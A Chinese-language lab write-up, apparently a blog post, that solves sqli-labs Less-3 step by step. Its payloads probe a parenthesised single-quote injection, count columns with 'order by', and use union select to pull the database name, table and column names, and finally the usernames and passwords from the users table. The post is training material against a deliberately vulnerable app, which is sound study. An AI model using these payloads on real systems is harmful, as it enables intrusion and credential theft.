[网络安全]sqli-labs Less-3 解题详析

判断注入类型

GET1' and '1'='1,回显如下:
GET1' and '1'='2
没有回显,说明该漏洞类型为GET型单引号字符型注入

判断注入点个数

GET1' order by 2 --+,回显如下:

由上图可知,sql语法中给$id加上了()

猜测后端语句为SELECT * FROM xx where id=('$id')

故构造GET1') order by 3 --+,此时后端语句为SELECT * FROM xx where id=('1') order by 3 --+')

SELECT * FROM xx where id=('-1') order by 3

GET1') order by 4 --+

GET1') order by 3 --+
故注入点为3个

查库名

GET-1') union select 1,2,database(); --+

回显库名security

查表名

复制代码
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显四个表名

查users表的列名

复制代码
-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

查字段

复制代码
-1') union select 1,group_concat(username),group_concat(password) from security.users; --+
相关推荐
像风一样!14 分钟前
学习MySQL数据库的高级特性(上)
数据库·mysql
夜泉_ly1 小时前
Redis -持久化
数据库·redis·缓存
林开落L1 小时前
线程进阶:线程池、单例模式与线程安全深度解析
linux·安全·单例模式·线程池
2401_837088502 小时前
什么是NoSQL?
数据库·nosql
web安全工具库3 小时前
从课堂笔记到实践:深入理解Linux C函数库的奥秘
java·数据库·算法
@PHARAOH3 小时前
WHAT - SQLite 数据库
数据库·oracle·sqlite
四维碎片4 小时前
【Qt】乌班图安装Qt环境
开发语言·数据库·qt
wuyunhang1234564 小时前
MySQL----触发器
数据库·mysql
ptc学习者4 小时前
OGG 安装注意事项
java·开发语言·数据库
Chan164 小时前
流量安全优化:基于 Sentinel 实现网站流量控制和熔断
java·spring boot·安全·sentinel·intellij-idea·进程